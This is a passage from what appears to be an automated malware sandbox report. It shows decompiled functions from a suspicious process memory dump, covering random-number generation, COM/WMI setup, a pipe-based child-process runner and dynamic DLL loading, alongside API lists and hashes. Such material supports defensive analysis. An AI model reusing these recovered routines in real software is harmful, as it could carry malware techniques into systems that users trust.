%.*g, xrefs: 00092175
, xrefs: 0009216F, 00092170, 000921EB

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: strchr$_snprintflocaleconv
String ID: %.*g$
API String ID: 1910550357-811258474
Opcode ID: 7664915f9979d19fbe91d7157e52710d74d6d47ab21c2b303f846be776087aa4
Instruction ID: 48dffbfe29af58806f7e26389f2570971aa095f3053ecab5a2df4101b6395fc7
Opcode Fuzzy Hash: 7664915f9979d19fbe91d7157e52710d74d6d47ab21c2b303f846be776087aa4
Instruction Fuzzy Hash: 732167762847017ADF259B68EC86BEB37DCEF16720F150015FA408A283EA75ED50B3A0

Uniqueness

Uniqueness Score: -1.00%

Function 000916F0, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 70
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E000916F0(signed int* _a4) {
				char _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				char _v20;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t17;
				void* _t22;
				intOrPtr* _t28;
				signed int _t29;
				signed int _t30;
				struct HINSTANCE__* _t32;
				void* _t34;

				_t30 = 0;
				_v8 = 0;
				_t32 = GetModuleHandleA("advapi32.dll");
				if(_t32 == 0) {
					L9:
					return 1;
				}
				_t16 = GetProcAddress(_t32, "CryptAcquireContextA");
				_v12 = _t16;
				if(_t16 == 0) {
					goto L9;
				}
				_t17 = GetProcAddress(_t32, "CryptGenRandom");
				_v16 = _t17;
				if(_t17 == 0) {
					goto L9;
				}
				_t28 = GetProcAddress(_t32, "CryptReleaseContext");
				if(_t28 == 0) {
					goto L9;
				}
				_push(0xf0000000);
				_push(1);
				_push(0);
				_push(0);
				_push( &_v8);
				if(_v12() == 0) {
					goto L9;
				}
				_t22 = _v16(_v8, 4,  &_v20);
				 *_t28(_v8, 0);
				if(_t22 == 0) {
					goto L9;
				}
				_t29 = 0;
				do {
					_t30 = _t30 << 0x00000008 |  *(_t34 + _t29 - 0x10) & 0x000000ff;
					_t29 = _t29 + 1;
				} while (_t29 < 4);
				 *_a4 = _t30;
				return 0;
			}

APIs

GetModuleHandleA.KERNEL32(advapi32.dll,00000000,00000000,00000000,0008763B,?,?,00000000,?), ref: 00091703
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,00000000,?), ref: 0009171B
GetProcAddress.KERNEL32(00000000,CryptGenRandom,?,?,00000000,?), ref: 0009172A
GetProcAddress.KERNEL32(00000000,CryptReleaseContext,?,?,00000000,?), ref: 00091739

Strings

CryptAcquireContextA, xrefs: 00091715
advapi32.dll, xrefs: 000916FB
CryptGenRandom, xrefs: 00091724
CryptReleaseContext, xrefs: 00091733

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
API String ID: 667068680-129414566
Opcode ID: 655cf0b23e1451d570487c5493d98a1b0c0b12902124c8b0dedc83f08aadfb10
Instruction ID: 7fdc4f0f6aaa44df7a4b36d05e84f53a5a1be7caad4b7dfd5aeac40d407615ad
Opcode Fuzzy Hash: 655cf0b23e1451d570487c5493d98a1b0c0b12902124c8b0dedc83f08aadfb10
Instruction Fuzzy Hash: C7117735B046177BDF615BE98CC8DEEBBFDAF45741F1400A5EA11E6240DA70CD01A764

Uniqueness

Uniqueness Score: -1.00%

Function 000849FE, Relevance: 9.3, APIs: 6, Instructions: 285
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E000849FE(void* __ecx, void* __edx, void* __fp0, intOrPtr* _a4, WCHAR* _a8, signed int _a12) {
				char _v516;
				void _v1044;
				char _v1076;
				signed int _v1080;
				signed int _v1096;
				WCHAR* _v1100;
				intOrPtr _v1104;
				signed int _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				char _v1144;
				char _v1148;
				void* __esi;
				intOrPtr _t66;
				intOrPtr _t73;
				signed int _t75;
				intOrPtr _t76;
				signed int _t81;
				WCHAR* _t87;
				void* _t89;
				signed int _t90;
				signed int _t91;
				signed int _t93;
				signed int _t94;
				WCHAR* _t96;
				intOrPtr _t106;
				intOrPtr _t107;
				void* _t108;
				intOrPtr _t109;
				signed char _t116;
				WCHAR* _t118;
				void* _t122;
				signed int _t123;
				intOrPtr _t125;
				void* _t128;
				void* _t129;
				WCHAR* _t130;
				void* _t134;
				void* _t141;
				void* _t143;
				WCHAR* _t145;
				signed int _t153;
				void* _t154;
				void* _t178;
				signed int _t180;
				void* _t181;
				void* _t183;
				void* _t187;
				signed int _t188;
				WCHAR* _t190;
				signed int _t191;
				signed int _t192;
				intOrPtr* _t194;
				signed int _t196;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t202;
				intOrPtr* _t203;
				void* _t208;

				_t208 = __fp0;
				_push(_t191);
				_t128 = __edx;
				_t187 = __ecx;
				_t192 = _t191 | 0xffffffff;
				memset( &_v1044, 0, 0x20c);
				_t199 = (_t196 & 0xfffffff8) - 0x454 + 0xc;
				_v1108 = 1;
				if(_t187 != 0) {
					_t123 =  *0x9e688; // 0xf0000
					_t125 =  *0x9e68c; // 0xa7fab8
					_v1116 =  *((intOrPtr*)(_t125 + 0x68))(_t187,  *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x110)))));
				}
				if(E0008BBCF(_t187) != 0) {
					L4:
					_t134 = _t128;
					_t66 = E0008B7EA(_t134,  &_v516);
					_push(_t134);
					_v1104 = _t66;
					E0008B6BF(_t66,  &_v1076, _t206, _t208);
					_t129 = E000849BA( &_v1076,  &_v1076, _t206);
					_t141 = E0008D442( &_v1076, E0008C3BB( &_v1076), 0);
					E0008B8CC(_t141,  &_v1100, _t208);
					_t175 =  &_v1076;
					_t73 = E00082C82(_t187,  &_v1076, _t206, _t208);
					_v1112 = _t73;
					_t143 = _t141;
					if(_t73 != 0) {
						_push(0);
						_push(_t129);
						_push("\\");
						_t130 = E000892C6(_t73);
						_t200 = _t199 + 0x10;
						_t75 =  *0x9e688; // 0xf0000
						__eflags =  *((intOrPtr*)(_t75 + 0x214)) - 3;
						if( *((intOrPtr*)(_t75 + 0x214)) != 3) {
							L12:
							__eflags = _v1108;
							if(__eflags != 0) {
								_t76 = E000891C4(_v1112);
								_t145 = _t130;
								 *0x9e740 = _t76;
								 *0x9e738 = E000891C4(_t145);
								L17:
								_push(_t145);
								_t188 = E00089B24( &_v1044, _t187, _t208, _v1104,  &_v1080,  &_v1100);
								_t201 = _t200 + 0x10;
								__eflags = _t188;
								if(_t188 == 0) {
									goto L41;
								}
								_push(0x9b9c6);
								E00089F13(0xe);
								E00089F37(_t188, _t208, _t130);
								_t194 = _a4;
								_v1096 = _v1096 & 0x00000000;
								_push(2);
								_v1100 =  *_t194;
								_push(8);
								_push( &_v1100);
								_t178 = 0xb;
								E0008A076(_t188, _t178, _t208);
								_t179 =  *(_t194 + 0x10);
								_t202 = _t201 + 0xc;
								__eflags =  *(_t194 + 0x10);
								if( *(_t194 + 0x10) != 0) {
									E0008A3D8(_t188, _t179, _t208);
								}
								_t180 =  *(_t194 + 0xc);
								__eflags = _t180;
								if(_t180 != 0) {
									E0008A3D8(_t188, _t180, _t208);
								}
								_t87 = E000897ED(0);
								_push(2);
								_v1100 = _t87;
								_t153 = _t188;
								_push(8);
								_v1096 = _t180;
								_push( &_v1100);
								_t181 = 2;
								_t89 = E0008A076(_t153, _t181, _t208);
								_t203 = _t202 + 0xc;
								__eflags = _v1108;
								if(_v1108 == 0) {
									_t153 =  *0x9e688; // 0xf0000
									__eflags =  *((intOrPtr*)(_t153 + 0xa4)) - 1;
									if(__eflags != 0) {
										_t90 = E0008FC57(_t89, _t181, _t208, 0, _t130, 0);
										_t203 = _t203 + 0xc;
										goto L26;
									}
									_t153 = _t153 + 0x228;
									goto L25;
								} else {
									_t91 =  *0x9e688; // 0xf0000
									__eflags =  *((intOrPtr*)(_t91 + 0xa4)) - 1;
									if(__eflags != 0) {
										L32:
										__eflags =  *(_t91 + 0x1898) & 0x00000082;
										if(( *(_t91 + 0x1898) & 0x00000082) != 0) {
											_t183 = 0x64;
											E0008E280(_t183);
										}
										E000852B3( &_v1076, _t208);
										_t190 = _a8;
										_t154 = _t153;
										__eflags = _t190;
										if(_t190 != 0) {
											_t94 =  *0x9e688; // 0xf0000
											__eflags =  *((intOrPtr*)(_t94 + 0xa0)) - 1;
											if( *((intOrPtr*)(_t94 + 0xa0)) != 1) {
												lstrcpyW(_t190, _t130);
											} else {
												_t96 = E0008109A(_t154, 0x228);
												_v1100 = _t96;
												lstrcpyW(_t190, _t96);
												E000885B6( &_v1100);
												 *_t203 = "\"";
												lstrcatW(_t190, ??);
												lstrcatW(_t190, _t130);
												lstrcatW(_t190, "\"");
											}
										}
										_t93 = _a12;
										__eflags = _t93;
										if(_t93 != 0) {
											 *_t93 = _v1104;
										}
										_t192 = 0;
										__eflags = 0;
										goto L41;
									}
									_t51 = _t91 + 0x228; // 0xf0228
									_t153 = _t51;
									L25:
									_t90 = E00085532(_t153, _t130, __eflags);
									L26:
									__eflags = _t90;
									if(_t90 >= 0) {
										_t91 =  *0x9e688; // 0xf0000
										goto L32;
									}
									_push(0xfffffffd);
									L6:
									_pop(_t192);
									goto L41;
								}
							}
							_t106 = E0008C2D4(_v1104, __eflags);
							_v1112 = _t106;
							_t107 =  *0x9e684; // 0xa7f8f0
							_t108 =  *((intOrPtr*)(_t107 + 0xd0))(_t106, 0x80003, 6, 0xff, 0x400, 0x400, 0, 0);
							__eflags = _t108 - _t192;
							if(_t108 != _t192) {
								_t109 =  *0x9e684; // 0xa7f8f0
								 *((intOrPtr*)(_t109 + 0x30))();
								E000885FB( &_v1148, _t192);
								_t145 = _t108;
								goto L17;
							}
							E000885FB( &_v1144, _t192);
							_t81 = 1;
							goto L42;
						}
						_t116 =  *(_t75 + 0x1898);
						__eflags = _t116 & 0x00000004;
						if((_t116 & 0x00000004) == 0) {
							__eflags = _t116;
							if(_t116 != 0) {
								goto L12;
							}
							L11:
							E0008E2C8(_v1112, _t175);
							goto L12;
						}
						_v1080 = _v1080 & 0x00000000;
						_t118 = E000895C2(_t143, 0x879);
						_v1100 = _t118;
						_t175 = _t118;
						E0008C02E(0x80000002, _t118, _v1112, 4,  &_v1080, 4);
						E000885B6( &_v1100);
						_t200 = _t200 + 0x14;
						goto L11;
					}
					_push(0xfffffffe);
					goto L6;
				} else {
					_t122 = E00082B97( &_v1044, _t192, 0x105);
					_t206 = _t122;
					if(_t122 == 0) {
						L41:
						_t81 = _t192;
						L42:
						return _t81;
					}
					goto L4;
				}
			}

0x000849fe
0x00084a0b
0x00084a16
0x00084a1b
0x00084a1d
0x00084a20
0x00084a25
0x00084a28
0x00084a32
0x00084a34
0x00084a41
0x00084a4a
0x00084a4a
0x00084a57
0x00084a72
0x00084a79
0x00084a7b
0x00084a80
0x00084a85
0x00084a8b
0x00084a9a
0x00084ab9
0x00084abb
0x00084ac1
0x00084ac7
0x00084acc
0x00084ad0
0x00084ad3
0x00084add
0x00084adf
0x00084ae0
0x00084aeb
0x00084aed
0x00084af0
0x00084af5
0x00084afc
0x00084b51
0x00084b51
0x00084b56
0x00084bbd
0x00084bc2
0x00084bc4
0x00084bce
0x00084bd3
0x00084bd3
0x00084bed
0x00084bef
0x00084bf2
0x00084bf4
0x00000000
0x00000000
0x00084bfa
0x00084c04
0x00084c0d
0x00084c12
0x00084c15
0x00084c1b
0x00084c21
0x00084c29
0x00084c2b
0x00084c2e
0x00084c2f
0x00084c34
0x00084c37
0x00084c3a
0x00084c3c
0x00084c40
0x00084c40
0x00084c45
0x00084c48
0x00084c4a
0x00084c4e
0x00084c4e
0x00084c55
0x00084c5a
0x00084c5c
0x00084c60
0x00084c62
0x00084c68
0x00084c6c
0x00084c6f
0x00084c70
0x00084c75
0x00084c78
0x00084c7d
0x00084ca5
0x00084cab
0x00084cb2
0x00084cc1
0x00084cc6
0x00000000
0x00084cc6
0x00084cb4
0x00000000
0x00084c7f
0x00084c7f
0x00084c84
0x00084c8b
0x00084cd0
0x00084cd0
0x00084cd7
0x00084cdb
0x00084cdc
0x00084cdc
0x00084ce6
0x00084ceb
0x00084cee
0x00084cef
0x00084cf1
0x00084cf3
0x00084cf8
0x00084cff
0x00084d42
0x00084d01
0x00084d06
0x00084d0e
0x00084d12
0x00084d1d
0x00084d28
0x00084d30
0x00084d34
0x00084d3c
0x00084d3c
0x00084cff
0x00084d48
0x00084d4b
0x00084d4d
0x00084d53
0x00084d53
0x00084d55
0x00084d55
0x00000000
0x00084d55
0x00084c8d
0x00084c8d
0x00084c93
0x00084c95
0x00084c9a
0x00084c9a
0x00084c9c
0x00084ccb
0x00000000
0x00084ccb
0x00084c9e
0x00084ad7
0x00084ad7
0x00000000
0x00084ad7
0x00084c7d
0x00084b5c
0x00084b6a
0x00084b7d
0x00084b82
0x00084b88
0x00084b8a
0x00084ba2
0x00084ba7
0x00084bb0
0x00084bb6
0x00000000
0x00084bb6
0x00084b92
0x00084b9b
0x00000000
0x00084b9b
0x00084afe
0x00084b04
0x00084b06
0x00084b44
0x00084b46
0x00000000
0x00000000
0x00084b48
0x00084b4c
0x00000000
0x00084b4c
0x00084b08
0x00084b12
0x00084b1e
0x00084b29
0x00084b30
0x00084b3a
0x00084b3f
0x00000000
0x00084b3f
0x00084ad5
0x00000000
0x00084a59
0x00084a64
0x00084a6a
0x00084a6c
0x00084d57
0x00084d57
0x00084d59
0x00084d5f
0x00084d5f
0x00000000
0x00084a6c

APIs

memset.MSVCRT ref: 00084A20
lstrcpyW.KERNEL32(00000000,00000000), ref: 00084D12
lstrcatW.KERNEL32 ref: 00084D30
lstrcatW.KERNEL32 ref: 00084D34
lstrcatW.KERNEL32 ref: 00084D3C
lstrcpyW.KERNEL32(00000000,00000000), ref: 00084D42

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: lstrcat$lstrcpy$memset
String ID:
API String ID: 1985475764-0
Opcode ID: 4e7c783c73d4c15a5e67da0e40cd5bd4366d0e800d463f0560e18a489651bc52
Instruction ID: e76d409b8c8071987b9e0de827397f60ed50a71a08a5218eb30aa035da2c9028
Opcode Fuzzy Hash: 4e7c783c73d4c15a5e67da0e40cd5bd4366d0e800d463f0560e18a489651bc52
Instruction Fuzzy Hash: 2591CC71604302AFE754FB20DC86BBE77E9BB84720F14492EF5D58B292EB74D9048B52

Uniqueness

Uniqueness Score: -1.00%

Function 0008D78A, Relevance: 9.1, APIs: 6, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 0008D79E
SysAllocString.OLEAUT32(?), ref: 0008D7A6
SysAllocString.OLEAUT32(00000000), ref: 0008D7BA
SysFreeString.OLEAUT32(?), ref: 0008D835
SysFreeString.OLEAUT32(?), ref: 0008D838
SysFreeString.OLEAUT32(?), ref: 0008D83D

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 0ae35b3864b79a2002ceb2acc07a6214e28e9f75c0e65d5a7fc5e6ecf6b65d72
Instruction ID: 204230854e776adb52a2a1a5bf40ee50c1139d69a1c7b266b95cca093d954732
Opcode Fuzzy Hash: 0ae35b3864b79a2002ceb2acc07a6214e28e9f75c0e65d5a7fc5e6ecf6b65d72
Instruction Fuzzy Hash: BF21F775A00218EFDB10EFA5CC88DAFBBBDFF48354B10449AF505A7251DA70AE05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0009082F, Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

\u%04X, xrefs: 00090949
, xrefs: 0009082F, 00090836
\u%04X\u%04X, xrefs: 00090988

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID:
String ID: \u%04X$\u%04X\u%04X$
API String ID: 0-223117982
Opcode ID: ad3677773898463b826370865ef61fb4a1262acb6dcbc071cab37c5794fd638b
Instruction ID: a930ef95356e53a95952b9cc4321f5d0d219051c23132d0a069292d46551cfe3
Opcode Fuzzy Hash: ad3677773898463b826370865ef61fb4a1262acb6dcbc071cab37c5794fd638b
Instruction Fuzzy Hash: 6041B571700305AFFF789A589D9ABBF3AA8DF01710F140025FA82D6393D665CD91B6D1

Uniqueness

Uniqueness Score: -1.00%

Function 0008D565, Relevance: 7.6, APIs: 5, Instructions: 87
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E0008D565(void* __ecx) {
				char _v8;
				void* _v12;
				char* _t15;
				intOrPtr* _t16;
				void* _t21;
				intOrPtr* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				void* _t30;
				void* _t33;

				_v12 = 0;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t30, _t33, __ecx, __ecx);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0);
				_t15 =  &_v12;
				__imp__CoCreateInstance(0x9b848, 0, 1, 0x9b858, _t15);
				if(_t15 < 0) {
					L5:
					_t23 = _v8;
					if(_t23 != 0) {
						 *((intOrPtr*)( *_t23 + 8))(_t23);
					}
					_t24 = _v12;
					if(_t24 != 0) {
						 *((intOrPtr*)( *_t24 + 8))(_t24);
					}
					_t16 = 0;
				} else {
					__imp__#2(__ecx);
					_t25 = _v12;
					_t21 =  *((intOrPtr*)( *_t25 + 0xc))(_t25, _t15, 0, 0, 0, 0, 0, 0,  &_v8);
					if(_t21 < 0) {
						goto L5;
					} else {
						__imp__CoSetProxyBlanket(_v8, 0xa, 0, 0, 3, 3, 0, 0);
						if(_t21 < 0) {
							goto L5;
						} else {
							_t16 = E000885E5(8);
							if(_t16 == 0) {
								goto L5;
							} else {
								 *((intOrPtr*)(_t16 + 4)) = _v12;
								 *_t16 = _v8;
							}
						}
					}
				}
				return _t16;
			}

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 0008D578
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0008D589
CoCreateInstance.OLE32(0009B848,00000000,00000001,0009B858,?), ref: 0008D5A0
SysAllocString.OLEAUT32(00000000), ref: 0008D5AB
CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0008D5D6

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: Initialize$AllocAllocateBlanketCreateHeapInstanceProxySecurityString
String ID:
API String ID: 1610782348-0
Opcode ID: 10b5e74f8a59f27958c0d6474d468863946cdabe288dbe1f51fb48886bb044ac
Instruction ID: c82542db590a0233d1c1274d0889e5be0d465def93cc6adf2a6bd8fc249cdf5a
Opcode Fuzzy Hash: 10b5e74f8a59f27958c0d6474d468863946cdabe288dbe1f51fb48886bb044ac
Instruction Fuzzy Hash: 0521F570600245BBEB249BA6DC4DE5BBFBCFFC6B15F10415EB501AA2A0DA709A01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00092237, Relevance: 7.6, APIs: 5, Instructions: 52
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00092237(char* __eax, char** _a4, long long* _a8) {
				char* _v8;
				long long _v16;
				char* _t9;
				signed char _t11;
				char** _t19;
				char _t22;
				long long _t32;
				long long _t33;

				_t9 = __eax;
				L00092305();
				_t19 = _a4;
				_t22 =  *__eax;
				if( *_t22 != 0x2e) {
					_t9 = strchr( *_t19, 0x2e);
					if(_t9 != 0) {
						 *_t9 =  *_t22;
					}
				}
				L000922C9();
				 *_t9 =  *_t9 & 0x00000000;
				_t11 = strtod( *_t19,  &_v8);
				asm("fst qword [ebp-0xc]");
				_t32 =  *0x98250;
				asm("fucomp st1");
				asm("fnstsw ax");
				if((_t11 & 0x00000044) != 0) {
					L5:
					st0 = _t32;
					L000922C9();
					if( *_t11 != 0x22) {
						_t33 = _v16;
						goto L8;
					} else {
						return _t11 | 0xffffffff;
					}
				} else {
					_t33 =  *0x98258;
					asm("fucomp st1");
					asm("fnstsw ax");
					if((_t11 & 0x00000044) != 0) {
						L8:
						 *_a8 = _t33;
						return 0;
					} else {
						goto L5;
					}
				}
			}

APIs

localeconv.MSVCRT ref: 0009223F
strchr.MSVCRT ref: 00092252
_errno.MSVCRT ref: 00092261
strtod.MSVCRT ref: 0009226F
_errno.MSVCRT ref: 0009229C

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: _errno$localeconvstrchrstrtod
String ID:
API String ID: 1035490122-0
Opcode ID: de4c433de47fb25370494944294a547a5aa963e4291e7017832a2afbf295a471
Instruction ID: 63d42227c90a01ef9405b7e132d6f5d7d59320d0a91bfa312613f1a0accb1f9e
Opcode Fuzzy Hash: de4c433de47fb25370494944294a547a5aa963e4291e7017832a2afbf295a471
Instruction Fuzzy Hash: B601F235904205BBDF126F28E9017DD7BA4AF4B360F2142D1E980772E2DF759954E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0008A9F9, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177
pipeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0008A9F9(signed int __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				char _v28;
				char _v32;
				char _v36;
				struct _SECURITY_ATTRIBUTES _v48;
				intOrPtr _v60;
				char _v64;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				short _v92;
				intOrPtr _v96;
				void _v140;
				intOrPtr _t77;
				void* _t79;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t89;
				intOrPtr _t92;
				intOrPtr _t98;
				intOrPtr _t100;
				intOrPtr _t102;
				long _t111;
				intOrPtr _t115;
				intOrPtr _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;

				_t111 = 0;
				_v24 = __ecx;
				_v12 = 0;
				_v20 = 0;
				_t127 = 0;
				_v8 = 0;
				_v16 = 0;
				_v48.nLength = 0xc;
				_v48.lpSecurityDescriptor = 0;
				_v48.bInheritHandle = 1;
				_v28 = 0;
				memset( &_v140, 0, 0x44);
				asm("stosd");
				_t130 = _t129 + 0xc;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				if(CreatePipe( &_v12,  &_v20,  &_v48, 0) == 0) {
					L18:
					return 0;
				}
				if(CreatePipe( &_v8,  &_v16,  &_v48, 0) == 0) {
					L13:
					E000885FB( &_v28, 0);
					if(_v20 != 0) {
						_t77 =  *0x9e684; // 0xa7f8f0
						 *((intOrPtr*)(_t77 + 0x30))(_v20);
					}
					if(_v8 != 0) {
						_t115 =  *0x9e684; // 0xa7f8f0
						 *((intOrPtr*)(_t115 + 0x30))(_v8);
					}
					return _t111;
				}
				_t79 = _v16;
				_v76 = _t79;
				_v80 = _t79;
				_v84 = _v12;
				_v140 = 0x44;
				_v96 = 0x101;
				_v92 = 0;
				_t126 = E000885E5(0x1001);
				_v28 = _t126;
				if(_t126 == 0) {
					goto L18;
				}
				_push( &_v64);
				_push( &_v140);
				_t85 =  *0x9e684; // 0xa7f8f0
				_push(0);
				_push(0);
				_push(0x8000000);
				_push(1);
				_push(0);
				_push(0);
				_push(_v24);
				_push(0);
				if( *((intOrPtr*)(_t85 + 0x38))() == 0) {
					goto L13;
				}
				_t87 =  *0x9e684; // 0xa7f8f0
				 *((intOrPtr*)(_t87 + 0x30))(_v12);
				_t89 =  *0x9e684; // 0xa7f8f0
				 *((intOrPtr*)(_t89 + 0x30))(_v16);
				_v24 = _v24 & 0;
				do {
					_t92 =  *0x9e684; // 0xa7f8f0
					_v36 =  *((intOrPtr*)(_t92 + 0x88))(_v8, _t126, 0x1000,  &_v24, 0);
					 *((char*)(_v24 + _t126)) = 0;
					if(_t111 == 0) {
						_t127 = E00089187(_t126, 0);
					} else {
						_push(0);
						_push(_t126);
						_v32 = _t127;
						_t127 = E00089273(_t127);
						E000885FB( &_v32, 0xffffffff);
						_t130 = _t130 + 0x14;
					}
					_t111 = _t127;
					_v32 = _t127;
				} while (_v36 != 0);
				_push( &_v36);
				_push(E0008C3BB(_t127));
				_t98 =  *0x9e68c; // 0xa7fab8
				_push(_t127);
				if( *((intOrPtr*)(_t98 + 0xb8))() != 0) {
					L12:
					_t100 =  *0x9e684; // 0xa7f8f0
					 *((intOrPtr*)(_t100 + 0x30))(_v64);
					_t102 =  *0x9e684; // 0xa7f8f0
					 *((intOrPtr*)(_t102 + 0x30))(_v60);
					goto L13;
				}
				_t128 = E00089237(_t127);
				if(_t128 == 0) {
					goto L12;
				}
				E000885FB( &_v32, 0);
				return _t128;
			}

APIs

memset.MSVCRT ref: 0008AA36
CreatePipe.KERNEL32(?,?,0000000C,00000000,00000000,00000000,00000000), ref: 0008AA5A
CreatePipe.KERNEL32(0008658A,?,0000000C,00000000), ref: 0008AA71

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

Part of subcall function 000885FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00088641

Strings

D, xrefs: 0008AA91

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateHeapPipe$AllocateFreememset
String ID: D
API String ID: 2365139273-2746444292
Opcode ID: 1c826688d3ca091292d69c41efc04c97b9ed3f8782c3e75f1fb3c97ffb9e5912
Instruction ID: db70de6b9aaa29907dea9fad1e92da7b8083f6fbc426e583823b1b80d9bc7376
Opcode Fuzzy Hash: 1c826688d3ca091292d69c41efc04c97b9ed3f8782c3e75f1fb3c97ffb9e5912
Instruction Fuzzy Hash: D9511972E00209AFEB51EFA4CC45FEEB7B9BB08340F10416AF541E7252EB749A458B61

Uniqueness

Uniqueness Score: -1.00%

Function 0008C510, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117
libraryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0008C510(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				void _v140;
				signed char _t14;
				char _t15;
				intOrPtr _t20;
				void* _t25;
				intOrPtr _t26;
				intOrPtr _t32;
				WCHAR* _t34;
				intOrPtr _t35;
				struct HINSTANCE__* _t37;
				int _t38;
				intOrPtr _t46;
				void* _t47;
				intOrPtr _t50;
				void* _t60;
				void* _t61;
				char _t62;
				char* _t63;
				void* _t65;
				intOrPtr _t66;
				char _t68;

				_t65 = __esi;
				_t61 = __edi;
				_t47 = __ebx;
				_t50 =  *0x9e688; // 0xf0000
				_t14 =  *(_t50 + 0x1898);
				if(_t14 == 0x100 ||  *((intOrPtr*)(_t50 + 4)) >= 0xa && (_t14 & 0x00000004) != 0) {
					_t15 = E000895C2(_t50, 0xb62);
					_t66 =  *0x9e688; // 0xf0000
					_t62 = _t15;
					_t67 = _t66 + 0xb0;
					_v8 = _t62;
					E00089621( &_v140, 0x40, L"%08x", E0008D442(_t66 + 0xb0, E0008C3BB(_t66 + 0xb0), 0));
					_t20 =  *0x9e688; // 0xf0000
					asm("sbb eax, eax");
					_t25 = E000895C2(_t67, ( ~( *(_t20 + 0xa8)) & 0x00000068) + 0x615);
					_t63 = "\\";
					_t26 =  *0x9e688; // 0xf0000
					_t68 = E000892C6(_t26 + 0x1020);
					_v12 = _t68;
					E000885B6( &_v8);
					_t32 =  *0x9e688; // 0xf0000
					_t34 = E000892C6(_t32 + 0x122a);
					 *0x9e784 = _t34;
					_t35 =  *0x9e684; // 0xa7f8f0
					 *((intOrPtr*)(_t35 + 0x110))(_t68, _t34, 0, _t63,  &_v140, ".", L"dll", 0, _t63, _t25, _t63, _t62, 0, _t61, _t65, _t47);
					_t37 = LoadLibraryW( *0x9e784);
					 *0x9e77c = _t37;
					if(_t37 == 0) {
						_t38 = 0;
					} else {
						_push(_t37);
						_t60 = 0x28;
						_t38 = E0008E1B3(0x9bb40, _t60);
					}
					 *0x9e780 = _t38;
					E000885FB( &_v12, 0xfffffffe);
					memset( &_v140, 0, 0x80);
					if( *0x9e780 != 0) {
						goto L10;
					} else {
						E000885FB(0x9e784, 0xfffffffe);
						goto L8;
					}
				} else {
					L8:
					if( *0x9e780 == 0) {
						_t46 =  *0x9e6bc; // 0xa7fa18
						 *0x9e780 = _t46;
					}
					L10:
					return 1;
				}
			}

APIs

LoadLibraryW.KERNEL32 ref: 0008C608
memset.MSVCRT ref: 0008C647

Strings

%08x, xrefs: 0008C571
dll, xrefs: 0008C5CA

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: LibraryLoadmemset
String ID: %08x$dll
API String ID: 3406617148-2963171978
Opcode ID: 0e48b59045cb626c4d84cbaf597815a0b60bb8226869b6b2682a1fd05cf94f66
Instruction ID: a8df70be75e97c5ee857d688dea556373e1c036a45208cb8073b23abf85ff621
Opcode Fuzzy Hash: 0e48b59045cb626c4d84cbaf597815a0b60bb8226869b6b2682a1fd05cf94f66
